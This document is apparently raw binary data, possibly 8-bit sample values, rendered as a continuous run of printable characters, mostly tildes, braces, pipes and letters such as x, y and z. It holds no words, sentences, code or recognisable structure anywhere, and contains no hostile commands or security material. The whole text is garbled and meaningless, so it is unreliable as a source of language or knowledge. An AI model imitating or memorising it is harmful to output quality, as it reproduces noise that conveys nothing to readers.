y~yw}}~{|{}~~~y|}{{~w}{z}~~}|zyx~{w|{v{|~~}~~|yx|||yxw{x~xz~}{{}~|~z~zy{uz}|}yvz{~v|}z~}}{{uyzv~|y{vuzxzyzq{~y|~||}~|~zz~yz}}~}~{~|xy{wvq}}orxpzv}pw~u}}~xr|utz|yzwzy|v||y~~xxy}|}~~}}}{~uwzu}zw~}zq|sv}|~}~svvx~}|~|}~}}}{}{}zx~{~~~{|}yxot}}pu|u~~|~z{zz~tnwt{}}~{xzzs{}x|wo{xw~yx|yy}|uwps~~z~t}~||||}~z{z|{|y{~{z{}~~~{{|~sx{v{|||~}||}~{~}x}zwyv~|{}|z{~|y}}z{{~|~~zz~{{|yx{}|{|}z}}}|}|vwz~~{}~|}w}~~zy~}~~~~}yx}}~}~~||~{zvyvt~zx}{z~}~}{w}|~x|z{v|}~wt~{||~~{~}{|{trvwqt}}z{zuxvorwvux{zz}zxz~uz|~~|zxz{}xut|~~zwrstvwwtrvwtu|xupmotplmstqyyuwz}}wuwyxrru{}}~{xrpsyzvswzzwswzx}|xqqttqry{}}yz}}xssxyyz~~~{zuuz~}{|~}{z}~}{yw{|{z}}|~|zwxyyvnjmtutv}|{styxolqxxy}~~}su}|{|vu{zsuvvz|z{|zrwwxxwtqouuqmv|z|vleghkmrxzx}{stxxoomrwywstu{yyzuoiowuqw{xwxvtx}yvx{{}}}z~{z{}yvtwyxy~~~|z~v|ypsysx~}~{~}y}~~}zy|zunt}|ytx~|utuxwnswz{z~xyv{zvx|wzwy}z|stxpz}|w}|~w{u~~~}{~w|zxuu~wv{~}}~|z}~~wxyu{z{y~}|{~|zyy{|}|z{sx{{}qyzro|nuv{yv|u}z~}{~trz{sls}z}|w|wmpztk~{|yx}{xy~}|xy~|vu~rl}~{x~}sr{~xzvnryvvyy}vqsxxrpv~|wruw~x|yzx{}xssy|w~tqzz}}vpyy}~trvu|}~yvuvr{~}yz|xu~yz~w{ww{{zzzz}}x}yyzqx}|yz~}~{y~}}~}}|}}}z|~|}|y{uy~~}|{~~}z||~yws{~}z}~|vz{tjjrxvwu}}w~~uuw~zrt|vsw|{{~}}rsnfnz|wsx|~|}unmttpmnu~~~tr~tqv|rt~vw~vy|y|ln||{{xvrot~{nju{vztntvvwyy~~}~w}|suzy|qrw|zwww}y|uv|~zunot}z}~||~z{{|}yrpv{qstp~~~{~wxxuz|~{|~uqw}trxyuvzusz|vz{wx}}yvuvztnt{{w~zvtstrpmr{}wzxw|vrty|ukktyyuuzz}{}{y{|vvxutquytloyyt~zpqy}tn{}w}ysw|{s~{xxtw~}~y~zu{uow||y}~yvu|||x~y}wsswz{|}zxvzz{}|{~}}zuvzxuywxyvvy|~}}|{|{{|zu{}|xx}|yvzwv}{~yxsw~xls{rv}{yszz~yt{~uzwrr~}|~}|}|}~xzy{~~z}{|}{spzvsuwy{sp{{ywzz}zv~wx|spvz{~{wxu{vnwyx~yz|p{{w~yxxu|x{wuzy{~~~~~~{u}{uwuo|zxyxwz}|zux}xyyt~||rt{yqmuyzupnqu|}|zsssnnstromvzwxuuz}{utzysnmruuxxvz{zuqnklpstuvwz{~~z{zyzyy{{~y|{{|~|~zz||}~w{y{{||~~~{~}u{|ww}}~z~~ypqw|ztnqy}xy}w|yvqu}xrs~u~zvtnr|wpw}||x{|z}wnnqpqsx~~x{unz{sz~~|{xoox}ulv|~{z{}|wrilwwjjx{wx{z|~shnuqmllrtsw~{vrx|rlmtvzwpkt|}{}{zztggyuhh{|z~~}}volq~pj{uqx{y~~}ytuys}|}~qyzy{u|~yyswxyuuz}{|zz~wywqpw}wq{}{z~z}~z{wr|yo|z}}}z{txmgwulwwryxxyvzpefnsmjqzsw|{ut|{epsrxo}{z~{w{iyx|woznkyty|zz|wt}rqykyzmr{otzz{u}ww}~sxksqnxprwz~z|ru{xv|v{ztxz~xtr|~srupssnvw~|zw~okx}ukjwz|}wy~|y|{x|~{{z}~}{wwyv|~zz{~yyz{}{}~~{xvsuuy}{||y|ypvzwturu~zvx{yyxymhmy|wt~|wmox~y{~zz~~zwsx}~{ttz}wx~}}xxvnxzru}truwt~~||}~xvz|xuwuuy}|xryulqx{vyx{{}|{xz||y|{u~z}~||xy~~|xx}zxw}~{}~y~|x{}}{mn~uo~~wuvuv|xp~}xw{}|}wty~wns}zx}or~tu{}||ywztnnu{z~z{}v}x|x|yy~|pu~{~{}x}|zuv{v}}w|ypryy{wnz}xry{zyrpw}vnpqnwz|vuv|||uw|vsqwuwmtwsnpzwww{sx{~~u}}|z|~}{z|}~}|w}wzuyzvux}|}~tsjsyx|}uu{kpt{u|x~xko}pmt}wy}|yy}{}}uno~v{~ztsv|vzv{|~qq~wq~|}sv{~{~yuzuv|zv~zxx~~{}~pt}zzuyquz{w~xz}np|wvwtx|zxy~mq}m{}oxwxvwyz{zzzx}xs{||{wtyut~v}z}swvzv~t|yz~rl{{wpuuxs{{|zov{mn{nuww}~{}|~|y|wnnx~|uruysyup~ztwvzyuusk}nlswx{|xwrwyz}ylztks~rx}}u|~{l|wkq}~xz{w|s{vxtpw~m{}w~z}z|z{~y|zxsx|~vrxsvx|oz}xvuz|ywywyxr|suxtorvnvus{{{{}{xzvw||~{yzyw|}yx~{}~~zs~}y||uqzwzx{|}~yur|t{y~~zu~yx{~zw~~|{|}}{{{xz|uy{{w{}{~}xwvt}tsxyyqzwz}y}~tu~qyqx~uxzz}roqltpryt~rxsyv|}~{}}y~wt}ypy{sy{zvv{}}z{|~~yt~~|zzzzuy{z~~}~y{{}}}||~}|}~yxyz}~~{w|z~~~{|{uu|}xy|y{~}|}{~|zx~yt}{wz}}{|}wx~}v|wzxzyr|xw|||~~~{}}uw|~||~|vxyxz~}{|}{|~yzxzzzz|~}uvxrx~~{yy{~{z{{wv|z~~}}~xy|{yzx|}y}~{~|z|}{x{y{{}|{~{{z}|}~{~}||}||~~{~|}~||}~{|z~~||~}~}x}|}}}|}~~yv||z{}z~}z{~yw}zq|zt|zz|zxy|yz|{z}z|y|~yzv~wzuvt|y~|y~~|}~~|}}}y{{~}|z}v~|||wz~uw|{~|~|~~~}x~~~z{}|{|~~}~{~|~~}}|{y{~|~|{t||}~z{z}~tpwytx}}rs|zw|xz}~t}y|}~~||~}y{{u|}~{}~~~z}~~z~}||{{~~wywv{v|}wyryuwywwyz}uu{zujxu~}puvzvzu|}ww}z~|wy|t~ur~uptyx~z}~z~x||z~}u~z~~~}~~~|yx}z~{{}}||z~yzyuyt{~xx}ysx|}}wt~zy}z|}uw}~wzzw}x{~|vu}~z|}~~}~}~{zx{zzzzy{x}y}~~xpy{{{|}x}yv||}}{ty|}~u|xxyu~x||~x{zw~}~~|z|{wx~z|~~}yyzusz{{tt~ryvz~|{~yvy|ww}|}{wyx}wtu~~~~|y|wlx~u||wzw~}}wzz~z|~z|~~~~~~}}~|zut~~||z{t{yvz~|xor}|~{~xz{yt}qt{~}}|}}{|~|w~}~|}~~xzyy~~|xw~s{z}~{|vuy|w|{xx{|}z}zvy~~|}|zv~}y|}x{z~|~u~|v}~~|~||z~}}{|x}}{}}~~~{~}~|{}}z~~}~~|}}{}~~~}~{}{w||~|y~z{{|}|~|z~}z{~|ys~zx|yvttovvux~vv}vvx~sqdk|gj|z~tx}||~x|vrywjqmtytv}v|w~zspzru}}vx}yzy~zyuu|}uxxw~zz{zz{{}||~|~}~}|~~}}|~~~yy|~}~z|||z}|~|y{~~~~}z{~|z|}~~~~}}~~}|}~zz|}|}}|{~~{~|z|y|}~{}}}}z{}~yx~}~|~}z{{||y|}}}~|~}~{}|z}}|}~}|~~}}}~z{}}}x~}}~}~}{~{{y|z}{|~~~~}y}yy~|z~|}}|}}|}}~{y~|}~{}~|}}~~~||~{wuyy|}~~z}zy}z{|z|w{}}}|{||{}}yw}w{|vz~vxz{zw~|z}x}}|~~{~~~~y|}}~y{}~~|~{x{z}}{~|}}{tyxtyysz{{~yy~}||vz}su~{}~}{}{yvz~}y|~z}||}wxzvxxs~~~u}||y~~~}}~}~}v~{~|t}|~~}~}|u{{~~}z{~~~}~{z}|}}~x~|yy}~|{~}z~}}}|}||}y}~z{|}~|~}{|xp}iikhy|uryq{sz}sr~nmmiyzien~qexy~lisvplox{z~{x~wjkoowy~~|~wtz}|{vutrzyttyywpnsuzz|xxyqmtwz}{~}}}}|vuqs}xv}}|vppnpmlrwytkjvy|wqturpiglmmmor{xleophimlllospo|~upoihmrrnuyqotvqy~~z{~}vqkputou|y}|{z~yw{xbh{|~}vvjsmm}mzpq|z|wu~tt~x}zz{lwjm|rvumvytu~v|}{|y~yuz{~}xx~dh{q}wpyvxsw{wrxpV^x~zwzrwzv~}ie}hj}qomv}w}~ut{~~~}}yywn|}}tupgyjc~sy~vt{}tnx~zvstpmpzslqtwtqnliqywc^bx}y{okrz|qfems{~|vunstvdnydh~ic|dd|xsqy}vmpwsdkphXWn}u|ufn~ta_xvu}{x|wxyuxk^|ourz~or|uqzvtzzmfije`fmlu{}|{r_o{mbgnnqnuwms~}}xjwxrruxmmz{~}|x}ut{yy}zxx|poxpiispihl{|~~}z~}||ztwtqpqruursty~~xywoigegliirnhkz{{yuyijhxjhv~esqkzvsy{z|vqszzqmmp|x~}y{wyzzyzxzvzwsmr~snv}~{sz~mddo{vojfmxuqlzpmktrid\nWeqx~xv}qmjcezxrkv~yy{urxztffxzx|}|}zy|zgr~}xsvpmu|~z}z{z~{yusqnmfluoem{{rwrtshpqddh^pp[]t}wnj^ZRTZ^]_fagenwxusupcZXWPRZXT_pxy{|qsne\[Y\ehbVWf~fcsoxwOYuaѮkO!$P\mrf~qc~~a\x|otigm]go_ehiy}worwz}~ywsrmio|zpzw|ststuu{yxtfP^dQobkghg^h|hsyzzswsimxyzu}ohts~~||zvuzy|}|vsuryyxo~}kswqrzw~y||ttssyu|w|wqwtx~}yyusttx||~{xv}w~x~~~w|{zx}xz~}|}yz~z|{~}}zzxz{}~}|~~{}zz{wz{}~}}}zyyyz{~~}~~}~|}{y{}}|||}~}~~||{}}~~}~}}~}}}~~~~}{{|}}}{}~~~||~||}|}~~|{z||~~}|}||~}}~~|}~}|{|}|{|}}~~~}~}||{}~~~~~~~~}~}|}~}~|{{|~~}~}|}||}~~~~~~~~~~~~~~~}}}|}}}~~~}}}}~~}zz|}~|{||ug}{pyyou|~|sw}|ouryzuu|xpq~vw{t}ryru~}|}w{x|{{|}jwrz{~y{s~v}zwy}}{}}y~|}{|~y{|{~|~~{z~~~~}}|z|}}|}}|~|}~~}~z~w~y~|~z|}{z~~}~~~~~}|~~~~}|~}|}~}}|~~~}~~~||}|x~}|~|~}~}||}{~{~~|}~~~~}||{||~~|~~}~}}~}||}}~}~~|{~}|~|z{xz||w{}{~}y|}~{~~}}}x{~~{y}{{~}}}||}~x~~x}{z|{}x~loz|~~s|~|}|y|{|y}{}z}~||xy~~~~~~~}}|}{~|}~}z|}|~}}}}||~~~}z|~|||}~|}}~~}|}~{|{~~~}z}y~||~}~~}~|}||{|}~~|~~~~~|}}~~~~}~~~}~~{yz||}~}|}~}|{|~~}~}{{|}~~xynzu{yx~{ytq}xx}|~~w{w}|~}{{z{{{zz~}||xz~|}~~|~}~~}~}~~}~zz{}}~|~}wzx{}~~z|~~z{thpy~~r|~u{s{t~{}~{wz~x|w{|~||~||{{~}}~}}~}}~~~|~~~}}~~}|}~~~}{~~~}}|~}z{|y~x{xw{u}w~z}}z|}||~}|{}~~z}{|zx~||yyz|}zzz|yy}~zz~{z~~|}~|}||~~}}~}{}}~}~}{|~~~|}}|}~|}}}}|~~}}~|{~~~|}|}}~}}~}}|||~||||~~~~|}}}}}~}~||~utvt}yz~}~}~}}}}~|}}~}~~}~~|}~}|~~}~|}~|{~}{}~|~~~~~|}~~~~z|}}}}~~~~}~||}~}|~~~}~~~~}~~}~~}~~|~~~~~~~~~~~~~~}}~}}~}}}~~}~~|}}}~}~~~~~}~~~~~~}}}}~}~~~}||}}}~~~~}||{||~~~~~~}|||}}~}|{|~~}}~|~~|{}~}~{~~}||}~~~}~|~~}~~~}~}}~~~~}~}~}|~~~~~}~||~~}}|}~}}}~}|}~}||}~}}~~}}}}||~~}}~}|}~|}~}~}}}}~}}~}|~~~}~|~~~}~~~~~~}~~~~~~~~~~}~~~}~~}~}~~}}~~}}|}~~}~~}~}|}~}~}}~~~||~~}|}~~}~~}|}~}~~~}}~}~~~}~~~~~~~~~}~~~}~~~|}{|z~}~~~}~}}}~}}~~~~~~}}~~~}~~}}~}~~~~}~|~~~~|~~~~~~}}}}~}~}~~~}zu~w|{xss~zyww~~zxwpritqx~z~|u~yx{{x{wu{t~rwyy|y|z|z|wx}z}xy{z|}}||}z|~}{~z}~{|{|}{{|~~}~~~{~~}|{|~~|}}z|~|~|{z{~}}~|~}~~~~~~}{}~~~~~}}}}~}|}~|~|{{{}~~~}{}}}~}||}~~~~~}|}}~~~~~}~~}~~}{||}|}{}y|~z{~}{|{|}}~||~{{~}}~~~|~~}~~}}~}}~~~~~}~~~~~~~~~~}}}}}~~}~~~}~}||}}}~}}}~~}}}~}~}}}}}|~~{z{}~|zz|}}{{}~~~}{{|{|}~|{|{|~~~~}}}}~~~}}~~~}~~}~}~~~~~~~~~}~}~}~}~~~}}|}~~}~~}}||}~~~~~~}~}}~~~}}~~}}~~~~~~~}~~~~~}~~~~}|}~~~~~}~~~~~}}}}~~}~~~~~~~~~~~~~~~~~}}~~~~~}}~~}~~}|}~~}||~~}~}v}z}zxz|}{{}}|~}}~~~{}|~{}}~|||}yxz~y}{y~{|}{~}|~~}~}}}}~~}}}~}}}~}~~|~}}}~~}}}}}}~|}{{~|}~|{|~|~~||}~}}~~}}~~~}}~~~~~}~~~~~}~}|~||~}{~}}~}~~~~}}}}}}}~~~~|~}|~|~~~~~~~}~}~~}~~}~}}~|}~~~~~}~}~}~|}|~}~~}}}~~~~~}}|~~}~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~}~}~~~~~~}~}}~}~~}~~|~~}}}~~}}~~}}}}}}~~}|~|}~}~~~}}~~~~}~~}~~}~~~~}}}~~~}}}~~~~~~~~~~~}z{}||~~~|}}|zz|~}{zyy}}|{zzz}}}|}~}}}~~|}~~}~}~~{z{|~~}}|{{|}~}||{||}~~}|}~~~}}~~~}~~}~}~}}}~~~~}}}|}~}~~}}~}|}~}~~~~~~~~~~}~~~}~}~~|}~}~}}~~}~~~~~~~~~~~||~~~}~~~}}~~~~}~~}}}~~~~}}~}~~~~~|~~~~~~~}}~~~}}}~}|||~~}}~y|~|}~|z}~}~~}||~~}}}~}}}}{}}|}~}}~}|}{}~~||||~}}{|}~~}~~}|~~|}}}~~||}~~{}~}|}~~~~~~~~~~}~~~}~~}}}}}}~|~}~~~~||~~~|{|}~|}|~~}{||~}~}~~}}~}}~}~~}~~|{~}}~~}~}}}}~}~~~~~}}~}~~}~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~}}~~~}}|{}~~~~}|~~}}~~}~~}}~|||{|~~}{z|~}zwwx{|yvvx|}xuux}yuuw|~xuuw{yuuw{{xxz}~|zyx{|zz|}|}~}}~{||}}~|}~}}~~}{{}~|{|~~}|{|{|}}|||}|}~~~~~||~~}}}{~zx|{~|~||z}}}~}||{z}|zvx|}}~}~zx{}|utx}~xtsw|{{z{~~xx{|}}|~~~~|{{z{|}~}}}}~}{{{|~~~~~}~}}~~}zz{}~zxy{}xxxx|{{}~~vnvryqjnorbbnk{pz}x|s}{~zy}~}rsqtuiwxt}qzyzr|wpv{yz~{}}y~|z~|~z{z}|tsztwwzwx}{w}}~}}|z~~zyvy|s|y}~{|xw{|}~z{|wyyywy}ytrwzx{uxw|wy||{~z~}~~||~~}~~~~|~}~~~~~~~~}||~~}~~}~}|}~}|~}{{~|~{|~wy~}~}|{{~{|~s{wiu|}wuy|{|vs|wvwvy~~{tr{~~{zwz~~y{|{|{~xx~}}ukyposYpwjyUhlluWppraslqitrqopxu}rry~}~uv~}yyoZuOGt{FIc|RVf}K_stTOytoOlptudbnqjiayrmu`z~nwztrsn|wqjyzywz}}}qxyw}~sp}qvsqzvtvuzqq~~~zt}~zx~~z{~~|yx{w|x}}|xytv|~|zx}~|uy{{}~{xz}}~xstttv|~|wuz}}yy}~~x{|{}v}}xxwwytvww}wyx{{trvz~ywrww|xyw{{|y|~~}wzz}|ysv{|{wx}|y~}wxwx~|z||}xz{xy~zz{z{{yy|}uws{}vsqu~vljo|~qkfhnzxmfjt|qlkms}|wtqou|wtpnp~{}xsz}~{}|~~~zx~~|vwz}zejzxrn{|xrrx|nlw}~xu{}|{xzswx|{z}wy{ipyxry~x|~xsx{x}or{}{z|y}~{|uvy{|xyu|{}}{xot|ztpz{{}~~~zxt{x~y}}x}z{{yu|}{yvz|z|~~}||yz}}}|}y~{~yzvvsz|~wwv{{ysvw{}|{yz}~~~}{{|}~{z{|}zyz{}~~~||}y~z~|}~}wyxz{|zy}}{tz{}{}~zx}z~}zwy~~}~||||~~}~}{|~~~|~~|~{loimxzwys~vzx{t|yy{yxmryytxvt|zuy}z|{zx|{{w{|}}{{y|{zz||~z|y~}utwx|}~{uvx~}yyzz~~}ywz{}{~|z}}||~}}}~z|{yx{}~~~zzz|~{urxtgqvoy~x{x|wry~~~wry|}tv~~vt}z{u~yz}{y}yy|z}z}{|{}|}~yzz}z~~{~|}~{|~~}w{}~}yyzxy}}{x{~~}~~z|||}~}|}~|~|~qxsyq||su{|sq}yytx~~}~}|}|zz||~{y|~}~}}}}zyz|z~vvqw~yuysz~vxy~~zxvzz~~~{xywxx}yuvz}zwwyz|~}yz|}z}{zz~|y}|~||}}}~}|zwx|yqlrzyoinu~ukkoyznljp~sfbgvuhcit|qjjoyyplnu{soqxtmnu~wpnry|tppxxssty~wrqv|wroswztqpuzvsu{{vtty}}wtuv{|vsuz~xttw}~ywx{~zy{y{~{yyz}zz}~~}{{|~~}|zz}~}|}~~}}~~~}}~~}}|~~}~~}}|}~~||}|}~~~{{|}}~~~~}|}}}||}~~~~~~}~~~~}}}~~}|}~~}|}|}~|{|}~~||}~~~~}~~~~~}~~~~~}|{}~~|{||}~~~~~}}||}|}}}}}{{|{{|~}}}}||}~~~}~~~}y{|{}}|}}zzwwr}{r~m|xz|orx{~l~{~}z}wz{xss~~jp{z{wxls{||vsow~zppu~{p~zonr|wpuy~shh}|qn}tw}wmsgugtvwvs|rxsy|sss{r~~qktt{zy}vz~{|swv{}}zxy{~yzz|~~}}zzyz||}~~~}~}||~}~~|}zw~z~}{~u~~~ty|u}}|xu|}{~|zz~~|zvx}}}}~|z{{|~|}|z|~}xvv~zwy~{x|~}|zuwx}~|{y}|~}zxx|}||{{|~~}|zy{||~~~}|{{}}}~}~~}~~~}~~~}}~}}{}~}{z|}~~~~|||}}}}~~~|z{{}}~~~}|}~~~~uw~||z{||vw{v}}tuvw~xzz|~z{{z{}|{|{yy}y{{|{x}y{xx{|~{w{{~~|xz~|zy|}~~z{{~~|}~}|{|~~}~~~~~}}~~}}|{|}~|zxyxz}~zxwx{|~~zwy}|{{|}~}~}|}~~}|}||}~~~}}}}{ywxv{zy~~{{}zzzttx||~|yz{z|{||}}~|{z{}~~}~~~}}~}|zzyy}~~}~{}~}zzzxz{z|}{yy|z~~~~~~|}}|~~}~}}|||}}}~}{{|{|}}}~~}~~~~~}~}|{}|~stt~{{~~yz|z~|x~}z}}|}z{zz}}~~~}z{||~}|}|}~||||}~~~}}{|}}~~}~{|}}{~v~~{xrwxxzs~x~y~uz~y}|{{{yzz{|y{{y~x}}}}|}|}~||}{|~}||~yy~syxywx~{u}z|yy~}|xtvz~}xy}zx}~yuw|~}}{{{~~}|}{vw}~|zyvuy|~}|zyz}yxz|~z{x|}~~|y}}}}|{~{~|}||||~~}}|}~~~{z}~}|}}|~}{{}|}|}|}}~~}z~s|wwzx|v|{~y|z}}zz}|~~||}~~{|~}zzwuw||qw}}|}yyyzy}xx|{{|{||uyz~yxwy|xzxv}~}{ywvx~tzuy}y{{~z{~{yu~r{xsizzwqhw~yiwtp|tq~{uz}|y|ytyz|vx{{|{vty|~~~xtw{~|~}~z}~y|}~|}y|}}y}{|}}~zx~{{}}|z~}~z{{}~~~|~~}}}}~}{{{{|~}~~}{{}~}~~~~}}~}~~}~~~~~~~}}~~~~}~~~~~~~~}~|~~~}}{z|}vuy~~zxvzvqsx{urtz~zut{yzz|{wuz{~yw{}|y{}|xyy|}|xyz~}{}~|{}~}|}~|{||ywz}~{zz||zz}}zxx{~{yyz}~~~}}~~~~}|}|}~}|{|}~~}}~~~}}~~~}}~~~}}}}~~}}~~|}~~~~|z{~}~}{{~~}}~~~xq|uyvywyz{y|}{z||z}x}|}~x|}||||~~}~~~~|~~}~}~~~}~}z~}}~}}}~~~|}~|~vv}}y|}}|~|}~~~{~z}|{||z|{}~|}~|~~~}|}}~}}~~|~{|}}~}}~}~}}~~}}~}}~~}}~|~~}~~~~}~|~|~}~~}~~}}}~~~~~~~}}~~~~~~~~~}~}}~}~~~~}~}}~}~~~}~}~}~~~~~}~}~}~~}~}~~~~~~~~~~~~~~~}|}~~~}|}}~~~~~~~}}~}}~~}||}}}~}~~}~~}|}~~~~}}}~~}}}}}~~~}|{||~~~}z{~~}}}}~}~|~~}~}|}~~|}}~~}||}~~~}}|}~~~~}||}~~~~}}~~~}~}~~~~~~~~~~~~}~}~~}~~}}||~}|||~}{{|~~}{{}~~}{|}~}||}~~~}}}}~~~~~~~~~}~}~~}}}~}~}~}}~~~~~~~~||~|{{}~|z{}~}zz~~{{}|{|~}|{}~~~~||}~~~||}~~~||~~~~}}~~~~~~}}}}~~~}}|}}}}}~}}}}~}}~}}}}~~~}}~~~~~}}~~~~~}}~~}~}~~~~~}~~~~~~~~~~~~~}~~~~}}}}}~~}}}}~}~{~||}{}}}~|{}z|~~|}}}~}~~~}{||~~}zz|}~{yz}~}{{}~~{z{}}|{|~~}||~~}~}~~}}~~}}|}}~|{z{~~}|{{}~}|{}~~}~}||}}|}~~~~}}~~~~}|}~~~~}~}~~~}~}}~~~}}~}}~~~}}~~}~~~~}~~~~~~~~~~}}~{~~|}{}{}~~~||||}}vo{{r}vjyvlw{nuzluwkxwhvskokorpysu|txut{w{s{vy{v~xy~z}zz{}|y}zoiqtefqz||{{wvvu}vnmt{|xzy~{dg{sUSYfV]nruluyobfqwfjryrqvxz|~{{x}|wrsw|yzutuxyyy~vuqszxrwy|{}~wsv||wuwww}}yxvvw{~~zz~}|~}~{yv}|~zvx~~}||~}|{||zz|~~}~~~}{{||~|yy{|}}~|}~||{|{~}||{|}~~~}}~}}~~}~}|{||~~}||}~~~}~~}|}}~~~}|{|{|}~~~}~~~~~|}~z~{}}{}{}~w|y}~{{y|y}}|}}~}~~|{z}~}}{||~|~~~}}~}~~~~~~}|}~|{||}}~~~~}}~~~~~~~~~~~~~~~~~~}~~~}}~~~~~}~}~~~~}}}}~}}|}~~~~}~}~}~}~~~}||}~~}|}}|}~~~~~}}~~~~~~~~}~~}~~~}}~~~~~~~~}~}~}}~}~}~~~~}~~~~~~~~~~~}~~~~}~{{~~}}{|}|{|||}~~|{|}}~}}||}~~|}~}{|~~}~}}~~|}~}~~}~{~|~~~}}}}}}}~~~|wy}~{zx{|z}}|}}}~}}~}zy|~}{}~}|}{~~zy}~}}|~~|z}}{}}|{|~~}|~}}}|{|}}}~}{{}~}|}}|}~~}}~~~~~}~~~~~~}}~}~}~~}|}~}~}~~~~~}~~}~}}~}~~}~||zwyykn|xop{yqtvux|zvw|}ywz|z{}vw}~}z{}wrw~~|xyzsy}zxx~}z}}}xvy|{z{|~{{}}|yz|~~xozrzwxn}whyuzw~w}z~|x~ln}{sqvwy|wuvx{~|tuyy~~y~}wvttw}yytu}|yzyux|~uru}}~}vtw|yvw|~~~}yww{}}zyzy{}}zy}~{yw~xw}{yy|ywz{|zz{|~|x|~|{yzxz{{}~}v|x|{tx~zzz}||{}z|{}}~qjvr|rmwty{rs}w~xz}x{~|{~{}|zzw}}z{~|}|}~~|{|~|zy||~}~~}~zxww|}~{y{x}xyy~w{vzz~z~{|y||}z}~z}}z{x{~}|{y}{|~|}z{}~~~u~z{x~}}~}}|y~yzv{}}|x||~{y|x~||xt|}~|}ux}y~|y|x}}xvx~}vy|}~~}zzy~~}}|vvy}xrx~|z|zvw{|xvvy~{z{~~}|}~}}~~~~~~}|~zyy|}{zyz}~}}}}{z}}yy{|yyy~}|{{}~~}|}~~}}~~~~~~~~|xx|xstz{yxy|~{yww}|xw|}wy}|{}|z|urwzuwy}~xw|~ss{}x|}xy}x}~yz~{yv}~zt{}{yuwx}~vw|}wx|zy}zyz~~z~~z~|z~~{zzz}xt~{|}~yw{z|wx}|}~}vw~yz~}|y~{y}yw~|zzwx~~~{xw}}vszzvy{wv{y|}z~zw{u}y~y}w~x~{xw}}xz|~}yx{nvztzzyw}~z~|zxx~|yz}~}|}~~}}}~~}zz{~}}x}~~}}|~}{~~{|~|{~~~}~|}}|{z}~|}|z~~{{}~}{z{||x}y{~|~x~~~}|{{|~|y~~~}~}~~~}{|{{~||{}}}~~~~pjujhzpsayttr}pvkuyw}gyut}|tlhslms{yzsmwvwyzop|~zqsy}~wq~~|rxttx|~{x{~{yz~~jy~}ltr}z}yq}`t~zrlx}hkpjm}`m}uv|}uvx}yuu|}zuzz|}~ww~}xvxxw|ipouqnezyskxunu{mpyz~zn|ynzqwrxvz|xy{xwz~}}}y|zvy{v~~~{{wuz}|{|~~z|||~}xy||{z|~{y{}~|zz~|~}~~}~}{}~~~~~~~~}}~}}~~|~}|~}}~}~~|}~~}~~~~~}|}~}~~}~~}z|||xxz~{~zz{|}}}z|~~{|}~}y~~{||}z}~}~}|}}}~~}~~~~~~~~~~~~}~|}~}|}}||~~}~~}|}~}~~~~}~~~~~~~~~~}~~}~~~~~~~~~}}~~~~}}~}~~~~~~}~~~~~~~~~|~{~}~}}y|z~|zz{~|~|}~~}|~z~~~}~}~~}~}~}}}~}|~}}~~~~~~~|}|~}{{~~}~}~}~~}}}~}}}~}}~}}~}}}~~~~~~}}}~~}}~~~~}~}~}~~~~~}~~~}}~}~}}~|~}}~~}|}}~~~~~}|~~~}}}~|~~~}}~}~~}~}}~~~}}~~}~~~}}~~~~~~~}~}~~~~~~}~}~~~~}~}~}~~~~~~~}~~~}}~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~}~}~}~~}~}~}~~~~~~~~~~~~~~}~}~}~~}~}~}~}~~}~~~~}}~}~~~~}~~~~~~~~~~~}}}~~~~~~~~~~~~}~~~~~~~~~~~}~~~~~~~~~~}{|~{|z}~|~z~y{~zy~{|}|}|}}}|}~{}}}||~|{||~}|}~|{{|~{}{}~~}~}}~~~~~~~}~~~}~}~}~~}~~}~~~~~~~~~~}}~~}~~~}~~~~}}}~}~}}~}~}~~}~}~}~~}}~~}}~~}}~~}~|~}~~s~q~cu~ks{t}r{mwxuvtxx|y{zz~y~}|w{}{z~~}}|~|}|~yx~z}zy~}|}}s{~y}z{||~}}{{|~}|{}{|~~||~}{}}}}|{|~|}~|{}|z~{}~x{|{|{|z~|{x~}~|~}}}~}{~~||~~z~{}~|}~~}~{|~}|~~|~}~}}~}}|~}}~}}}}}}~~~~~}~~{}}|~}~~~~{~}}}|~}~~|~|~~}|{~|{|~}}~~{}~~z|~~}||}}}|{~}|}~}}|~}|}~~}}~~}}~}~~}}~~~~}~~~}}~~~}}~~~}}|z{|}}~}|~~~}~}~}~~~~}~}~~~~~~}~}~}}}yzvvxx{|~|z}~wyxwzy}|{}~~~~~~}}~~~}~~}~~~}~~{}}|}}|}~}}~~}~}}~~~jzux||~xq}yv~vp|xx|}zxxxtzultohxlstu}kgugovz}{wspx~~qy}woxyxz~~z||~}}}}{}~xw~x}|vvw~u{yt}vvzzy|}{xzzx}z|}|yw~zxyzuv|u|~nuur~qxvvv{wzzt|xyyz|~~z}y||~z||{|}x}}y{}z}|~~~}~|}zw~wzt~|y}|wrw{{{yz|z{~||stum}{}t}|z~~trz~{u||vy}y{{|w{}vy{y}|wy|}|{{}~|y{xx|zy{~qux||{|yyuuww~{{|{y|rvzwy|z{~|{~}xyz}~}}~~||}|y{}{}~}}}}}{}}z{}}{||{|~~~~}|}~~{}}wz~{{}~~~~~}z}|~}uu||~{~}~~~|~~z}~}}z~|~|}|}~z}|}~}|}}}||~~}~}~~}~}}~~~{~|~|~{~~}|~|~}~|~~~{~}}||{||~}|~~}|~~~|~~~~~~~}~~~~~~}{w{zuy{uy}yx~}||k~}z|x~~x}x~~|x||}}{|{~{{y|{|~|zw}~|y~}x{}~z}{~{~}||}~z{}}~~}~~{|~~~~}{~}~~}~~~~~~~~}}~~~}}}~~}}~~~~~}~~}|}}}}~}~}~~}~|}~~}~}|}}~~}~}}}z}~~}~~~~~~}~~~}~~~~~~~~~~~}~}~~~~~~~}~~}~~~~}~~~}~~~~~~~~~~}~~~~~~~~~~~~~}~~~~~~~~~~~~~~}~~~~~~~~}~}~~}~}~~~~}~}~~~}~}~~}~~}~~~~~~~~~~~}~~~~}~}~}~~}~}~}~~~~~~~~~~~~~~}~}~~~~~~}~~~}|{}{}quthy~cqrp{qyvqzzrx~zxzxzy~w{~{}~~y~x}xyx}||~|||{~~~|~{|~~~~}~}}}||{||}~~|}}|}|~~{~~}~~~~~~}~~||}}~~}}}~~~~~~}~~~~}}}~~~~~}~~}}~}~}~~~}~||~~~~}|}~~~}~~}~~~~~~~~~~~~}~}|~~~~~}}~~~~~}~}~~~~~}~~~~~~~~~~~}}~~~~}~~~~}}~~~~~~~~~~~~~~}~~~}~~~~~}~}~~}~}~}~~~~~}~}~}~~}}||}~}|{}~}|}~}~~~~}~}~~|~|~}~}~~}~~}||}~~~~~}}~}}}~~~~}}}}}~~~